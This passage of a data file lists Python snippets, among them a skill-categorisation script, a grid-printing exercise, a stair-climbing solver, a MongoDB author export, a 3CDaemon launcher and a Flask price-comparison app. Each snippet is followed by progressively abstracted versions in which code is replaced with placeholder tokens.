'Machine Learning', 'Data Scientist', 'Data Analysis', 'Statistics', 'Data Mining']\np = ['Computer Science', 'Computer Engineering', 'Systems Engineer', 'System Administrator', 'System Administration']\nq = ['Information Technology', 'ICT']\nr = ['Computer Architecture']\ns = ['Distributed System', 'Cluster Computing']\nt = ['Cloud Computing']\nu = ['Algorithms', 'Data Structures']\nw = ['JAVA', 'Python', 'HTML', '.NET', 'Ruby', 'COBOL', 'XML', ' jQuery', 'Bootstrap', 'PHP', 'Cascading Style Sheets']\nx = ['Mathematics', 'Physical Science', 'physics']\ny = ['Operating Systems', 'Windows', 'Ubuntu', 'Linux', 'Unix']\nza = ['Multimedia', 'Animation', 'Graphic', 'Digital Media']\nab = ['Cyber', 'Information Security']\nac = ['Information System']\nad = ['Artificial Intelligence', 'Deep Learning', 'Computer Vision', 'Robotics', 'Natural Language']\nae = ['Bioinformatics', 'Biology', 'Biomedical']\naf = ['Telecommunication', 'Communication']\nag = ['Computer Hardware', 'Embedded System', 'Microcontrollers ', 'Electronic', 'Internet of Things', 'Arduino', 'PCB Design']\nah = ['Marketing', 'E-Commerce', 'Banking', 'Finance', 'Account', 'Customer', 'Sales', 'Pricing', 'Markets']\naj = ['E-Governance', 'Legal', 'Law']\nak = ['Geography', 'Geographic', 'GIS', 'Geoinformatics']\nal = ['Human Computer Interaction', 'User Interface', 'User Experience', 'UI/UX']\nao = ['Big Data', 'Hadoop']\n\n\ng = 'Software Engineering'\nz = 'Quality Assurance'\nee = 'Business Analysis'\nff = 'Networking'\nii = 'Management'\njj = 'Research'\nll = 'Lecturing'\nmm = 'Database'\nnn = 'Data Science'\npp = 'Computer Science'\nqq = 'Information Technology'\nrr = 'Computer Architecture'\nss = 'Distributed System'\ntt = 'Cloud Computing'\nuu = 'Data Structures and Algorithms'\nww = 'Programming Languages'\nxx = 'Mathematics'\nyy = 'Operating Systems'\nzz = 'Multimedia, Animation and Graphic Design'\nabb = 'Cyber Security'\nacc = 'Information System'\nadd = 'Artificial Intelligence'\naee = 'Bio-informatics'\naff = 'Telecommunication'\nagg = 'Embedded System'\nahh = 'Marketing and E-Commerce'\najj = 'E-Governance'\nakk = 'GIS'\nall = 'HCI'\naoo = 'Big Data'\n\n\nc='Other'\n\nd = {g:a, z:b, ee:e, ff:f, ii:i, jj:j, ll:l, mm:m, nn:n, pp:p, zz:za, qq:q, rr:r, ss:s, tt:t, uu:u, ww:w, xx:x, yy:y, abb:ab, acc:ac, add:ad, aee:ae,aff:af, agg:ag, ahh:ah, akk:ak, all:al, aoo:ao}\n\ndf['new_category'] = c\n\nfor k, v in d.items():\n pat = '|'.join(v)\n mask = df.category.str.contains(pat, case=False)\n\n df.loc[mask, 'new_category'] = k\n\n\ndf.to_csv(r'D:\\Academic\\Level 4 - Semester 1\\Research Project\\Categorized Data\\Skill8.csv', index=False)\n", "import pandas as pd\nimport dataframe\ndata = pd.read_csv(\n 'D:\\\\Academic\\\\Level 4 - Semester 1\\\\Research Project\\\\Categorized Data\\\\Skills\\\\Book11.csv'\n , names=['category'])\ndf = pd.DataFrame(data)\na = ['software', 'developer', 'programmer', 'Programming', 'Hibernate',\n 'Web', 'Mobile', 'Android', 'iOS', 'Agile', 'OOP', 'JS',\n 'Design Patterns', 'Technical Lead', 'Tech Lead', 'Support Engineer',\n 'Enterprise Application Development', 'Maven', 'SDLC']\nb = ['QA', 'Tester', 'Quality', 'Automation', 'Selenium', 'Testing', 'Test']\ne = ['Business', 'Functional Analyst', ' Solution', 'System Analyst',\n 'Requirements Analysis']\nf = ['Networking', 'Switches', 'Cisco Packet Tracer', 'Wireless', 'Network',\n 'TCP', 'LAN-WAN']\ni = ['Manager', 'owner', 'Management', 'Director', 'Strategy']\nj = ['PHD', 'MSC', 'postgraduate', 'Research']\nl = ['Lecturer', 'tutor', 'Instructor', 'Demonstrator']\nm = ['Database', 'MySQL', 'Oracle', 'SQL', 'Apache', ' MongoDB ']\nn = ['Data Science', 'Machine Learning', 'Data Scientist', 'Data Analysis',\n 'Statistics', 'Data Mining']\np = ['Computer Science', 'Computer Engineering', 'Systems Engineer',\n 'System Administrator', 'System Administration']\nq = ['Information Technology', 'ICT']\nr = ['Computer Architecture']\ns = ['Distributed System', 'Cluster Computing']\nt = ['Cloud Computing']\nu = ['Algorithms', 'Data Structures']\nw = ['JAVA', 'Python', 'HTML', '.NET', 'Ruby', 'COBOL', 'XML', ' jQuery',\n 'Bootstrap', 'PHP', 'Cascading Style Sheets']\nx = ['Mathematics', 'Physical Science', 'physics']\ny = ['Operating Systems', 'Windows', 'Ubuntu', 'Linux', 'Unix']\nza = ['Multimedia', 'Animation', 'Graphic', 'Digital Media']\nab = ['Cyber', 'Information Security']\nac = ['Information System']\nad = ['Artificial Intelligence', 'Deep Learning', 'Computer Vision',\n 'Robotics', 'Natural Language']\nae = ['Bioinformatics', 'Biology', 'Biomedical']\naf = ['Telecommunication', 'Communication']\nag = ['Computer Hardware', 'Embedded System', 'Microcontrollers ',\n 'Electronic', 'Internet of Things', 'Arduino', 'PCB Design']\nah = ['Marketing', 'E-Commerce', 'Banking', 'Finance', 'Account',\n 'Customer', 'Sales', 'Pricing', 'Markets']\naj = ['E-Governance', 'Legal', 'Law']\nak = ['Geography', 'Geographic', 'GIS', 'Geoinformatics']\nal = ['Human Computer Interaction', 'User Interface', 'User Experience',\n 'UI/UX']\nao = ['Big Data', 'Hadoop']\ng = 'Software Engineering'\nz = 'Quality Assurance'\nee = 'Business Analysis'\nff = 'Networking'\nii = 'Management'\njj = 'Research'\nll = 'Lecturing'\nmm = 'Database'\nnn = 'Data Science'\npp = 'Computer Science'\nqq = 'Information Technology'\nrr = 'Computer Architecture'\nss = 'Distributed System'\ntt = 'Cloud Computing'\nuu = 'Data Structures and Algorithms'\nww = 'Programming Languages'\nxx = 'Mathematics'\nyy = 'Operating Systems'\nzz = 'Multimedia, Animation and Graphic Design'\nabb = 'Cyber Security'\nacc = 'Information System'\nadd = 'Artificial Intelligence'\naee = 'Bio-informatics'\naff = 'Telecommunication'\nagg = 'Embedded System'\nahh = 'Marketing and E-Commerce'\najj = 'E-Governance'\nakk = 'GIS'\nall = 'HCI'\naoo = 'Big Data'\nc = 'Other'\nd = {g: a, z: b, ee: e, ff: f, ii: i, jj: j, ll: l, mm: m, nn: n, pp: p, zz:\n za, qq: q, rr: r, ss: s, tt: t, uu: u, ww: w, xx: x, yy: y, abb: ab,\n acc: ac, add: ad, aee: ae, aff: af, agg: ag, ahh: ah, akk: ak, all: al,\n aoo: ao}\ndf['new_category'] = c\nfor k, v in d.items():\n pat = '|'.join(v)\n mask = df.category.str.contains(pat, case=False)\n df.loc[mask, 'new_category'] = k\ndf.to_csv(\n 'D:\\\\Academic\\\\Level 4 - Semester 1\\\\Research Project\\\\Categorized Data\\\\Skill8.csv'\n , index=False)\n", "<import token>\ndata = pd.read_csv(\n 'D:\\\\Academic\\\\Level 4 - Semester 1\\\\Research Project\\\\Categorized Data\\\\Skills\\\\Book11.csv'\n , names=['category'])\ndf = pd.DataFrame(data)\na = ['software', 'developer', 'programmer', 'Programming', 'Hibernate',\n 'Web', 'Mobile', 'Android', 'iOS', 'Agile', 'OOP', 'JS',\n 'Design Patterns', 'Technical Lead', 'Tech Lead', 'Support Engineer',\n 'Enterprise Application Development', 'Maven', 'SDLC']\nb = ['QA', 'Tester', 'Quality', 'Automation', 'Selenium', 'Testing', 'Test']\ne = ['Business', 'Functional Analyst', ' Solution', 'System Analyst',\n 'Requirements Analysis']\nf = ['Networking', 'Switches', 'Cisco Packet Tracer', 'Wireless', 'Network',\n 'TCP', 'LAN-WAN']\ni = ['Manager', 'owner', 'Management', 'Director', 'Strategy']\nj = ['PHD', 'MSC', 'postgraduate', 'Research']\nl = ['Lecturer', 'tutor', 'Instructor', 'Demonstrator']\nm = ['Database', 'MySQL', 'Oracle', 'SQL', 'Apache', ' MongoDB ']\nn = ['Data Science', 'Machine Learning', 'Data Scientist', 'Data Analysis',\n 'Statistics', 'Data Mining']\np = ['Computer Science', 'Computer Engineering', 'Systems Engineer',\n 'System Administrator', 'System Administration']\nq = ['Information Technology', 'ICT']\nr = ['Computer Architecture']\ns = ['Distributed System', 'Cluster Computing']\nt = ['Cloud Computing']\nu = ['Algorithms', 'Data Structures']\nw = ['JAVA', 'Python', 'HTML', '.NET', 'Ruby', 'COBOL', 'XML', ' jQuery',\n 'Bootstrap', 'PHP', 'Cascading Style Sheets']\nx = ['Mathematics', 'Physical Science', 'physics']\ny = ['Operating Systems', 'Windows', 'Ubuntu', 'Linux', 'Unix']\nza = ['Multimedia', 'Animation', 'Graphic', 'Digital Media']\nab = ['Cyber', 'Information Security']\nac = ['Information System']\nad = ['Artificial Intelligence', 'Deep Learning', 'Computer Vision',\n 'Robotics', 'Natural Language']\nae = ['Bioinformatics', 'Biology', 'Biomedical']\naf = ['Telecommunication', 'Communication']\nag = ['Computer Hardware', 'Embedded System', 'Microcontrollers ',\n 'Electronic', 'Internet of Things', 'Arduino', 'PCB Design']\nah = ['Marketing', 'E-Commerce', 'Banking', 'Finance', 'Account',\n 'Customer', 'Sales', 'Pricing', 'Markets']\naj = ['E-Governance', 'Legal', 'Law']\nak = ['Geography', 'Geographic', 'GIS', 'Geoinformatics']\nal = ['Human Computer Interaction', 'User Interface', 'User Experience',\n 'UI/UX']\nao = ['Big Data', 'Hadoop']\ng = 'Software Engineering'\nz = 'Quality Assurance'\nee = 'Business Analysis'\nff = 'Networking'\nii = 'Management'\njj = 'Research'\nll = 'Lecturing'\nmm = 'Database'\nnn = 'Data Science'\npp = 'Computer Science'\nqq = 'Information Technology'\nrr = 'Computer Architecture'\nss = 'Distributed System'\ntt = 'Cloud Computing'\nuu = 'Data Structures and Algorithms'\nww = 'Programming Languages'\nxx = 'Mathematics'\nyy = 'Operating Systems'\nzz = 'Multimedia, Animation and Graphic Design'\nabb = 'Cyber Security'\nacc = 'Information System'\nadd = 'Artificial Intelligence'\naee = 'Bio-informatics'\naff = 'Telecommunication'\nagg = 'Embedded System'\nahh = 'Marketing and E-Commerce'\najj = 'E-Governance'\nakk = 'GIS'\nall = 'HCI'\naoo = 'Big Data'\nc = 'Other'\nd = {g: a, z: b, ee: e, ff: f, ii: i, jj: j, ll: l, mm: m, nn: n, pp: p, zz:\n za, qq: q, rr: r, ss: s, tt: t, uu: u, ww: w, xx: x, yy: y, abb: ab,\n acc: ac, add: ad, aee: ae, aff: af, agg: ag, ahh: ah, akk: ak, all: al,\n aoo: ao}\ndf['new_category'] = c\nfor k, v in d.items():\n pat = '|'.join(v)\n mask = df.category.str.contains(pat, case=False)\n df.loc[mask, 'new_category'] = k\ndf.to_csv(\n 'D:\\\\Academic\\\\Level 4 - Semester 1\\\\Research Project\\\\Categorized Data\\\\Skill8.csv'\n , index=False)\n", "<import token>\n<assignment token>\nfor k, v in d.items():\n pat = '|'.join(v)\n mask = df.category.str.contains(pat, case=False)\n df.loc[mask, 'new_category'] = k\ndf.to_csv(\n 'D:\\\\Academic\\\\Level 4 - Semester 1\\\\Research Project\\\\Categorized Data\\\\Skill8.csv'\n , index=False)\n", "<import token>\n<assignment token>\n<code token>\n" ]

[ "#Character Picture Grid\r\n#Copy the following grid value, and write code that uses it to print the image.\r\ngrid = [['.', '.', '.', '.', '.', '.'],\r\n ['.', 'O', 'O', '.', '.', '.'],\r\n ['O', 'O', 'O', 'O', '.', '.'],\r\n ['O', 'O', 'O', 'O', 'O', '.'],\r\n ['.', 'O', 'O', 'O', 'O', 'O'],\r\n ['O', 'O', 'O', 'O', 'O', '.'],\r\n ['O', 'O', 'O', 'O', '.', '.'],\r\n ['.', 'O', 'O', '.', '.', '.'],\r\n ['.', '.', '.', '.', '.', '.']] # 9 x 6\r\n\r\n#print a 6 x 9 string\r\n\r\nwidth = len(grid[0]) #6\r\nheight = len(grid) #9\r\n\r\nfor j in range(width):\r\n for i in range(height-1):\r\n print(grid[i][j],end = '')\r\n print(grid[height-1][j])\r\n\r\n", "grid = [['.', '.', '.', '.', '.', '.'], ['.', 'O', 'O', '.', '.', '.'], [\n 'O', 'O', 'O', 'O', '.', '.'], ['O', 'O', 'O', 'O', 'O', '.'], ['.',\n 'O', 'O', 'O', 'O', 'O'], ['O', 'O', 'O', 'O', 'O', '.'], ['O', 'O',\n 'O', 'O', '.', '.'], ['.', 'O', 'O', '.', '.', '.'], ['.', '.', '.',\n '.', '.', '.']]\nwidth = len(grid[0])\nheight = len(grid)\nfor j in range(width):\n for i in range(height - 1):\n print(grid[i][j], end='')\n print(grid[height - 1][j])\n", "<assignment token>\nfor j in range(width):\n for i in range(height - 1):\n print(grid[i][j], end='')\n print(grid[height - 1][j])\n", "<assignment token>\n<code token>\n" ]

[ "def number_of_ways_to_top(top, maximum_step):\n if top == 0 :\n return 1\n dp = [0]*(top+1) #dp[i] = number off ways to climb up i stairs\n dp[0] = 1\n for i in range(1,top+1):\n j = 1\n while j <= i and j <= maximum_step :\n dp[i]+=dp[i-j]\n j+=1\n return dp[top]\n\nif __name__ == \"__main__\":\n n, k = 4, 2\n print(number_of_ways_to_top(n,k))", "def number_of_ways_to_top(top, maximum_step):\n if top == 0:\n return 1\n dp = [0] * (top + 1)\n dp[0] = 1\n for i in range(1, top + 1):\n j = 1\n while j <= i and j <= maximum_step:\n dp[i] += dp[i - j]\n j += 1\n return dp[top]\n\n\nif __name__ == '__main__':\n n, k = 4, 2\n print(number_of_ways_to_top(n, k))\n", "def number_of_ways_to_top(top, maximum_step):\n if top == 0:\n return 1\n dp = [0] * (top + 1)\n dp[0] = 1\n for i in range(1, top + 1):\n j = 1\n while j <= i and j <= maximum_step:\n dp[i] += dp[i - j]\n j += 1\n return dp[top]\n\n\n<code token>\n", "<function token>\n<code token>\n" ]

[ "#!/usr/bin/python\n# -*- coding: UTF-8 -*-\n# Exports a CSV with top authors and their publications, to check a) disambiguation and b) h-index\n__author__ = \"\"\"Giovanni Colavizza\"\"\"\n\nimport codecs\n\n# MongoDB\nfrom pymongo import MongoClient\nfrom configparser import ConfigParser\nconfig_set = \"localhost\" # this is in localhost\nconfig = ConfigParser(allow_no_value=False)\nconfig.read(\"config/config.conf\")\nmongo_db = config.get(config_set, 'db-name')\nmongo_user = config.get(config_set, 'username')\nmongo_pwd = config.get(config_set, 'password')\nmongo_auth = config.get(config_set, 'auth-db')\nmongo_host = config.get(config_set, 'db-host')\nmongo_port = config.get(config_set, 'db-port')\nclient = MongoClient(mongo_host)\ndb = client[mongo_db]\ndb.authenticate(mongo_user, mongo_pwd, source=mongo_auth)\n\ncollection = db.stats_dev\ncollection_authors = db.authors_dev\n\nlimit = 10\n\n# get records\nauthors = list()\nfor record in collection_authors.find():\n\tauthors.append({\"tot_cit\":record[\"tot_cit\"],\"name\":record[\"name\"],\"n_pub\":len(record[\"publications\"]),\"publications\":record[\"publications\"],\"h_index\":record[\"h_index\"]})\n\nauthors = sorted(authors,key=lambda x:x[\"n_pub\"],reverse=True)\nwith codecs.open(\"exports/evaluation_authors.csv\",\"w\",encoding=\"utf8\") as f:\n\tf.write(\"id,name,h_index,tot_cit,publication_title,pub_year,n_cit\\n\")\n\tfor n,a in enumerate(authors[:limit]):\n\t\tfor p in a[\"publications\"]:\n\t\t\ttitle = p[\"title\"].replace('\"','')\n\t\t\ttitle = title.replace('\\n', ' ')\n\t\t\ttitle = title.replace('\\r', ' ')\n\t\t\tf.write(str(n)+\",\"+'\"'+a[\"name\"]+'\"'+\",\"+str(a[\"h_index\"])+\",\"+str(a[\"tot_cit\"])+\",\"+'\"'+title+'\"'+\",\"+str(p[\"year\"])+\",\"+str(p[\"n_cit\"])+\"\\n\")\n", "__author__ = 'Giovanni Colavizza'\nimport codecs\nfrom pymongo import MongoClient\nfrom configparser import ConfigParser\nconfig_set = 'localhost'\nconfig = ConfigParser(allow_no_value=False)\nconfig.read('config/config.conf')\nmongo_db = config.get(config_set, 'db-name')\nmongo_user = config.get(config_set, 'username')\nmongo_pwd = config.get(config_set, 'password')\nmongo_auth = config.get(config_set, 'auth-db')\nmongo_host = config.get(config_set, 'db-host')\nmongo_port = config.get(config_set, 'db-port')\nclient = MongoClient(mongo_host)\ndb = client[mongo_db]\ndb.authenticate(mongo_user, mongo_pwd, source=mongo_auth)\ncollection = db.stats_dev\ncollection_authors = db.authors_dev\nlimit = 10\nauthors = list()\nfor record in collection_authors.find():\n authors.append({'tot_cit': record['tot_cit'], 'name': record['name'],\n 'n_pub': len(record['publications']), 'publications': record[\n 'publications'], 'h_index': record['h_index']})\nauthors = sorted(authors, key=lambda x: x['n_pub'], reverse=True)\nwith codecs.open('exports/evaluation_authors.csv', 'w', encoding='utf8') as f:\n f.write('id,name,h_index,tot_cit,publication_title,pub_year,n_cit\\n')\n for n, a in enumerate(authors[:limit]):\n for p in a['publications']:\n title = p['title'].replace('\"', '')\n title = title.replace('\\n', ' ')\n title = title.replace('\\r', ' ')\n f.write(str(n) + ',' + '\"' + a['name'] + '\"' + ',' + str(a[\n 'h_index']) + ',' + str(a['tot_cit']) + ',' + '\"' + title +\n '\"' + ',' + str(p['year']) + ',' + str(p['n_cit']) + '\\n')\n", "__author__ = 'Giovanni Colavizza'\n<import token>\nconfig_set = 'localhost'\nconfig = ConfigParser(allow_no_value=False)\nconfig.read('config/config.conf')\nmongo_db = config.get(config_set, 'db-name')\nmongo_user = config.get(config_set, 'username')\nmongo_pwd = config.get(config_set, 'password')\nmongo_auth = config.get(config_set, 'auth-db')\nmongo_host = config.get(config_set, 'db-host')\nmongo_port = config.get(config_set, 'db-port')\nclient = MongoClient(mongo_host)\ndb = client[mongo_db]\ndb.authenticate(mongo_user, mongo_pwd, source=mongo_auth)\ncollection = db.stats_dev\ncollection_authors = db.authors_dev\nlimit = 10\nauthors = list()\nfor record in collection_authors.find():\n authors.append({'tot_cit': record['tot_cit'], 'name': record['name'],\n 'n_pub': len(record['publications']), 'publications': record[\n 'publications'], 'h_index': record['h_index']})\nauthors = sorted(authors, key=lambda x: x['n_pub'], reverse=True)\nwith codecs.open('exports/evaluation_authors.csv', 'w', encoding='utf8') as f:\n f.write('id,name,h_index,tot_cit,publication_title,pub_year,n_cit\\n')\n for n, a in enumerate(authors[:limit]):\n for p in a['publications']:\n title = p['title'].replace('\"', '')\n title = title.replace('\\n', ' ')\n title = title.replace('\\r', ' ')\n f.write(str(n) + ',' + '\"' + a['name'] + '\"' + ',' + str(a[\n 'h_index']) + ',' + str(a['tot_cit']) + ',' + '\"' + title +\n '\"' + ',' + str(p['year']) + ',' + str(p['n_cit']) + '\\n')\n", "<assignment token>\n<import token>\n<assignment token>\nconfig.read('config/config.conf')\n<assignment token>\ndb.authenticate(mongo_user, mongo_pwd, source=mongo_auth)\n<assignment token>\nfor record in collection_authors.find():\n authors.append({'tot_cit': record['tot_cit'], 'name': record['name'],\n 'n_pub': len(record['publications']), 'publications': record[\n 'publications'], 'h_index': record['h_index']})\n<assignment token>\nwith codecs.open('exports/evaluation_authors.csv', 'w', encoding='utf8') as f:\n f.write('id,name,h_index,tot_cit,publication_title,pub_year,n_cit\\n')\n for n, a in enumerate(authors[:limit]):\n for p in a['publications']:\n title = p['title'].replace('\"', '')\n title = title.replace('\\n', ' ')\n title = title.replace('\\r', ' ')\n f.write(str(n) + ',' + '\"' + a['name'] + '\"' + ',' + str(a[\n 'h_index']) + ',' + str(a['tot_cit']) + ',' + '\"' + title +\n '\"' + ',' + str(p['year']) + ',' + str(p['n_cit']) + '\\n')\n", "<assignment token>\n<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n" ]

[ "#coding=utf-8 \nimport os,sys,time\ndef start3CD():\n print(u'尝试关闭已经开启的3CD')\n os.system('taskkill -f -im 3CDaemon.EXE')\n print(u'当前运行路径：'+os.getcwd())\n os.system('.\\\\3cd\\\\3CDaemon.EXE')\nif __name__=='__main__':\n start3CD()", "import os, sys, time\n\n\ndef start3CD():\n print(u'尝试关闭已经开启的3CD')\n os.system('taskkill -f -im 3CDaemon.EXE')\n print(u'当前运行路径：' + os.getcwd())\n os.system('.\\\\3cd\\\\3CDaemon.EXE')\n\n\nif __name__ == '__main__':\n start3CD()\n", "<import token>\n\n\ndef start3CD():\n print(u'尝试关闭已经开启的3CD')\n os.system('taskkill -f -im 3CDaemon.EXE')\n print(u'当前运行路径：' + os.getcwd())\n os.system('.\\\\3cd\\\\3CDaemon.EXE')\n\n\nif __name__ == '__main__':\n start3CD()\n", "<import token>\n\n\ndef start3CD():\n print(u'尝试关闭已经开启的3CD')\n os.system('taskkill -f -im 3CDaemon.EXE')\n print(u'当前运行路径：' + os.getcwd())\n os.system('.\\\\3cd\\\\3CDaemon.EXE')\n\n\n<code token>\n", "<import token>\n<function token>\n<code token>\n" ]

[ "from flask import Flask, render_template, request\nimport datetime\nimport pandas as pd\n\nimport sys, os\nsys.path.append(os.path.join(os.path.dirname(__file__), '..', 'scraper'))\nsys.path.append(os.path.join(os.path.dirname(__file__), '..', 'data_handling'))\n\nfrom scraper import *\nfrom data_management import SearchResult, TransformDf2Html\nfrom site_language import *\napp = Flask(__name__)\n\n# global definitions\nnav_lang = {}\ncountry_code = {}\nsterm = ''\nsort_type = 'price'\nprod_collect = []\ndf = SearchResult(prod_collect)\n\n\[email protected]('/', methods=['GET'])\ndef index():\n global nav_lang\n global country_code\n global error_lang\n global prod_collect\n country_code = request.args.get('country', 'UK')\n prod_collect = [] # if there was something in it, clear it\n return(render_template('index.html', lang=index_search_lang[country_code], nav_lang=navbar_lang[country_code], err_lang=error_lang[country_code]))\n\[email protected]('/results', methods=['POST'])\ndef results():\n global nav_lang\n global country_code\n global error_lang\n global results_lang\n global sterm\n global sort_type\n global prod_collect\n global df\n\n sterm = request.form.get('term', sterm)\n stype = request.form.get('sort_type', sort_type)\n if sterm == '':\n return(render_template('error.html', err_lang=error_lang[country_code], nav_lang=navbar_lang[country_code]))\n store_list = init_stores(STORE_DICT[country_code])\n if prod_collect == []:\n for st in store_list:\n class2call = STORE_MAP[country_code].get(st.name)\n prod_info = class2call(sterm, st)\n prod_info.start_collecting_data()\n prod_collect.extend(prod_info._items)\n df = SearchResult(prod_collect)\n transdf = TransformDf2Html(df.df[['store_name', 'link', 'price', 'unit price', 'promotion']])\n html_return = transdf.df2html_table(id='myTable', table_class='table table-hover', header_class='thead-dark')\n else:\n # import pdb\n # pdb.set_trace()\n\n prod_collect = df.sort_df(byWhat=stype)\n\n\n return(render_template('results.html', sterm=prod_collect, nav_lang=navbar_lang[country_code], result_lan=results_lang[country_code]))\n\nif __name__ == '__main__':\n app.run(debug = True)\n", "from flask import Flask, render_template, request\nimport datetime\nimport pandas as pd\nimport sys, os\nsys.path.append(os.path.join(os.path.dirname(__file__), '..', 'scraper'))\nsys.path.append(os.path.join(os.path.dirname(__file__), '..', 'data_handling'))\nfrom scraper import *\nfrom data_management import SearchResult, TransformDf2Html\nfrom site_language import *\napp = Flask(__name__)\nnav_lang = {}\ncountry_code = {}\nsterm = ''\nsort_type = 'price'\nprod_collect = []\ndf = SearchResult(prod_collect)\n\n\[email protected]('/', methods=['GET'])\ndef index():\n global nav_lang\n global country_code\n global error_lang\n global prod_collect\n country_code = request.args.get('country', 'UK')\n prod_collect = []\n return render_template('index.html', lang=index_search_lang[\n country_code], nav_lang=navbar_lang[country_code], err_lang=\n error_lang[country_code])\n\n\[email protected]('/results', methods=['POST'])\ndef results():\n global nav_lang\n global country_code\n global error_lang\n global results_lang\n global sterm\n global sort_type\n global prod_collect\n global df\n sterm = request.form.get('term', sterm)\n stype = request.form.get('sort_type', sort_type)\n if sterm == '':\n return render_template('error.html', err_lang=error_lang[\n country_code], nav_lang=navbar_lang[country_code])\n store_list = init_stores(STORE_DICT[country_code])\n if prod_collect == []:\n for st in store_list:\n class2call = STORE_MAP[country_code].get(st.name)\n prod_info = class2call(sterm, st)\n prod_info.start_collecting_data()\n prod_collect.extend(prod_info._items)\n df = SearchResult(prod_collect)\n transdf = TransformDf2Html(df.df[['store_name', 'link', 'price',\n 'unit price', 'promotion']])\n html_return = transdf.df2html_table(id='myTable', table_class=\n 'table table-hover', header_class='thead-dark')\n else:\n prod_collect = df.sort_df(byWhat=stype)\n return render_template('results.html', sterm=prod_collect, nav_lang=\n navbar_lang[country_code], result_lan=results_lang[country_code])\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n", "<import token>\nsys.path.append(os.path.join(os.path.dirname(__file__), '..', 'scraper'))\nsys.path.append(os.path.join(os.path.dirname(__file__), '..', 'data_handling'))\n<import token>\napp = Flask(__name__)\nnav_lang = {}\ncountry_code = {}\nsterm = ''\nsort_type = 'price'\nprod_collect = []\ndf = SearchResult(prod_collect)\n\n\[email protected]('/', methods=['GET'])\ndef index():\n global nav_lang\n global country_code\n global error_lang\n global prod_collect\n country_code = request.args.get('country', 'UK')\n prod_collect = []\n return render_template('index.html', lang=index_search_lang[\n country_code], nav_lang=navbar_lang[country_code], err_lang=\n error_lang[country_code])\n\n\[email protected]('/results', methods=['POST'])\ndef results():\n global nav_lang\n global country_code\n global error_lang\n global results_lang\n global sterm\n global sort_type\n global prod_collect\n global df\n sterm = request.form.get('term', sterm)\n stype = request.form.get('sort_type', sort_type)\n if sterm == '':\n return render_template('error.html', err_lang=error_lang[\n country_code], nav_lang=navbar_lang[country_code])\n store_list = init_stores(STORE_DICT[country_code])\n if prod_collect == []:\n for st in store_list:\n class2call = STORE_MAP[country_code].get(st.name)\n prod_info = class2call(sterm, st)\n prod_info.start_collecting_data()\n prod_collect.extend(prod_info._items)\n df = SearchResult(prod_collect)\n transdf = TransformDf2Html(df.df[['store_name', 'link', 'price',\n 'unit price', 'promotion']])\n html_return = transdf.df2html_table(id='myTable', table_class=\n 'table table-hover', header_class='thead-dark')\n else:\n prod_collect = df.sort_df(byWhat=stype)\n return render_template('results.html', sterm=prod_collect, nav_lang=\n navbar_lang[country_code], result_lan=results_lang[country_code])\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n", "<import token>\nsys.path.append(os.path.join(os.path.dirname(__file__), '..', 'scraper'))\nsys.path.append(os.path.join(os.path.dirname(__file__), '..', 'data_handling'))\n<import token>\n<assignment token>\n\n\[email protected]('/', methods=['GET'])\ndef index():\n global nav_lang\n global country_code\n global error_lang\n global prod_collect\n country_code = request.args.get('country', 'UK')\n prod_collect = []\n return render_template('index.html', lang=index_search_lang[\n country_code], nav_lang=navbar_lang[country_code], err_lang=\n error_lang[country_code])\n\n\[email protected]('/results', methods=['POST'])\ndef results():\n global nav_lang\n global country_code\n global error_lang\n global results_lang\n global sterm\n global sort_type\n global prod_collect\n global df\n sterm = request.form.get('term', sterm)\n stype = request.form.get('sort_type', sort_type)\n if sterm == '':\n return render_template('error.html', err_lang=error_lang[\n country_code], nav_lang=navbar_lang[country_code])\n store_list = init_stores(STORE_DICT[country_code])\n if prod_collect == []:\n for st in store_list:\n class2call = STORE_MAP[country_code].get(st.name)\n prod_info = class2call(sterm, st)\n prod_info.start_collecting_data()\n prod_collect.extend(prod_info._items)\n df = SearchResult(prod_collect)\n transdf = TransformDf2Html(df.df[['store_name', 'link', 'price',\n 'unit price', 'promotion']])\n html_return = transdf.df2html_table(id='myTable', table_class=\n 'table table-hover', header_class='thead-dark')\n else:\n prod_collect = df.sort_df(byWhat=stype)\n return render_template('results.html', sterm=prod_collect, nav_lang=\n navbar_lang[country_code], result_lan=results_lang[country_code])\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n", "<import token>\n<code token>\n<import token>\n<assignment token>\n\n\[email protected]('/', methods=['GET'])\ndef index():\n global nav_lang\n global country_code\n global error_lang\n global prod_collect\n country_code = request.args.get('country', 'UK')\n prod_collect = []\n return render_template('index.html', lang=index_search_lang[\n country_code], nav_lang=navbar_lang[country_code], err_lang=\n error_lang[country_code])\n\n\[email protected]('/results', methods=['POST'])\ndef results():\n global nav_lang\n global country_code\n global error_lang\n global results_lang\n global sterm\n global sort_type\n global prod_collect\n global df\n sterm = request.form.get('term', sterm)\n stype = request.form.get('sort_type', sort_type)\n if sterm == '':\n return render_template('error.html', err_lang=error_lang[\n country_code], nav_lang=navbar_lang[country_code])\n store_list = init_stores(STORE_DICT[country_code])\n if prod_collect == []:\n for st in store_list:\n class2call = STORE_MAP[country_code].get(st.name)\n prod_info = class2call(sterm, st)\n prod_info.start_collecting_data()\n prod_collect.extend(prod_info._items)\n df = SearchResult(prod_collect)\n transdf = TransformDf2Html(df.df[['store_name', 'link', 'price',\n 'unit price', 'promotion']])\n html_return = transdf.df2html_table(id='myTable', table_class=\n 'table table-hover', header_class='thead-dark')\n else:\n prod_collect = df.sort_df(byWhat=stype)\n return render_template('results.html', sterm=prod_collect, nav_lang=\n navbar_lang[country_code], result_lan=results_lang[country_code])\n\n\n<code token>\n", "<import token>\n<code token>\n<import token>\n<assignment token>\n\n\[email protected]('/', methods=['GET'])\ndef index():\n global nav_lang\n global country_code\n global error_lang\n global prod_collect\n country_code = request.args.get('country', 'UK')\n prod_collect = []\n return render_template('index.html', lang=index_search_lang[\n country_code], nav_lang=navbar_lang[country_code], err_lang=\n error_lang[country_code])\n\n\n<function token>\n<code token>\n", "<import token>\n<code token>\n<import token>\n<assignment token>\n<function token>\n<function token>\n<code token>\n" ]

